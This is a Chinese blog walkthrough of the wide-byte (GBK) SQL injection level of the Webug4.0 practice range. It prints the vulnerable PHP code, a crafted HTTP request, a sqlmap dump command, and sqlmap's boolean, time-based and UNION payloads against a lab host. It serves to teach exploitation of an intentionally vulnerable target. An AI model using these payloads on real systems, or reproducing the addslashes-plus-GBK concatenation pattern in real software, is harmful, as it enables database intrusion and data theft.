Webug4.0靶场通关笔记06- 第6关SQL宽字节注入

mooyuan天天

已于 2025-06-25 16:35:53 修改

阅读量805

点赞数 17

CC 4.0 BY-SA版权

分类专栏： webug4.0靶场文章标签： web安全 webug靶场 SQL注入宽字节注入

于 2025-04-29 11:34:49 首次发布

本文链接：https://blog.youkuaiyun.com/mooyuan/article/details/128119506

webug4.0靶场专栏收录该内容

31 篇文章

订阅专栏

本文通过《Webug4.0靶场通关笔记系列》来进行Webug4.0靶场的渗透实战，本文讲解Webug4.0靶场第6关宽字节注入的渗透实战。

一、宽字节注入原理

宽字节注入是一种特殊类型的SQL注入风险，主要影响使用GBK、BIG5等多字节编码的数据库系统。其核心原理是利用数据库和应用程序对字符编码处理的差异，导致转义字符（如反斜杠\）被"吞并"到宽字符中，从而使原本的转义失效。宽字节注入的原理如下所示。

编码差异：GBK编码中，某些字符（如%bf%5c）组合会被识别为一个完整字符
转义失效：攻击者精心构造的%bf'与系统添加的转义符\（%5c）组合成合法字符
注入成功：剩余的单引号未被转义，破坏SQL语句结构

以下是一些宽字节注入中常用的编码及相关说明，以表格形式呈现：

编码类型	说明	示例
GBK	常见的中文字符集，一个汉字由两个字节表示。在宽字节注入中常被利用，因为某些特殊字符组合可绕过单引号转义。	`%df'` 在 GBK 中会被解析为一个宽字节字符，可用于逃逸单引号。
BIG5	繁体中文字符集，同样是双字节编码。类似于 GBK，也可能存在宽字节注入风险。	`%a1%a2` 等组合可能被利用。

二、第06关宽字节注入渗透实战

1、打开靶场

打开webug4靶场的第06关卡宽字节注入，URL地址如下所示。

http://192.168.71.1/webug4/control/sqlinject/width_byte_injection.php?id=1

2、源码分析

分析webug4靶场的第06关卡宽字节注入的源码，这段 PHP 代码实现了一个 SQL 注入攻击演示页面的后端逻辑。首先检查用户会话，未登录则跳转登录页。接着处理 GET 请求的 id 参数，使用 addslashes 过滤单引号，并设置数据库连接字符集为 gbk。随后拼接 SQL 查询语句SELECT * FROM sqlinjection WHERE id = '{$id}'并执行，查询失败时输出错误信息。最后包含模板文件显示查询结果或错误页面。该代码存在明显 SQL 注入风险，未使用预处理语句，攻击者可通过构造特殊 id 参数绕过过滤执行任意 SQL 命令具体如下所示。

<?php

require_once "../../common/common.php";
if (!isset($_SESSION['user'])) {
    header("Location:../login.php");
}

if (isset($_GET["id"])) {
    if (!empty($_GET["id"])) {
        // 过滤引号
        $id = addslashes($_GET['id']);
        $dbConnectWidth->query("SET names 'gbk'");
        $sql = "SELECT * FROM sqlinjection WHERE id = '{$id}'";
        $res = $dbConnectWidth->query($sql) or die("Invalid query: " . mysqli_stmt_error(). $sql);
    }
}
require_once TPMELATE."/manifest-error-injection.html";

对其中关键代码进行注释，如下所示。

// 检查是否存在id参数
if (isset($_GET["id"])) {
    // 检查id参数是否非空
    if (!empty($_GET["id"])) {
        // 使用addslashes对输入进行转义（主要转义单引号等特殊字符）
        $id = addslashes($_GET['id']);
        
        // 设置数据库连接使用GBK编码（危险操作）
        $dbConnectWidth->query("SET names 'gbk'");
        
        // 构造SQL查询语句（直接将用户输入拼接到SQL中）
        $sql = "SELECT * FROM sqlinjection WHERE id = '{$id}'";
        
        // 执行查询，如果失败则输出错误信息和SQL语句（安全隐患）
        $res = $dbConnectWidth->query($sql) or die("Invalid query: " . mysqli_stmt_error(). $sql);
    }
}

如上所示，SQL语句对GET型参数输入id进行了转移，故而存在普通的字符型SQL注入语句不能渗透成功，但是脚本中使用gbk编码，这也说明存在宽字节注入风险。

SQL注入成因组合：
- SET names 'gbk'：强制使用GBK宽字符编码，这导致很大概率会有宽字节注入风险。
- addslashes()：使用PHP的转义函数。
- 直接SQL拼接：'{$id}'直接将用户输入嵌入SQL。
攻击原理：
- 当输入%bf'时：
  - addslashes()会将其转义为%bf\'（%bf%5c%27）。
  - 在GBK编码中，%bf%5c会被解析为一个中文字符"縗"。
  - 剩余的单引号%27未被转义，破坏SQL结构。
- 最终SQL语句变为如下形式：

SELECT * FROM sqlinjection WHERE id = '縗' OR 1=1 -- '

3、sqlmap注入

（1）bp抓包保存

在渗透的过程中，bp拦截报文并将报文保存为webug06.txt。

修改webug06.txt，在注入点id处尾部加上%df 然后加入注释符%23，并在闭合符号'与注释符中间加上*，如下所示。

GET /webug4/control/sqlinject/width_byte_injection.php?id=1%df'*%23 HTTP/1.1
Host: 192.168.71.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.71.1/webug4/control/we_bug_env.php
Cookie: PHPSESSID=n5mmqjrmgn3fou55o8pbkeb8r7
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

（2）sqlmap注入

sqlmap -r webug07.txt --current-db --batch -D webug  -T env_list  --dump

如下所示渗透成功。

---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://192.168.71.1:80/webug4/control/sqlinject/width_byte_injection.php?id=1%df' AND 4068=4068#
    Vector: AND [INFERENCE]

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: http://192.168.71.1:80/webug4/control/sqlinject/width_byte_injection.php?id=1%df' AND (SELECT 1835 FROM (SELECT(SLEEP(5)))hRSI)#
    Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: http://192.168.71.1:80/webug4/control/sqlinject/width_byte_injection.php?id=1%df' UNION ALL SELECT NULL,CONCAT(0x7170707171,0x72625851486b4e4644685346714e41684169784978616d6c4f76785a68646f57667a48634964776c,0x71626a6b71)-- -#
    Vector:  UNION ALL SELECT NULL,[QUERY]-- -
---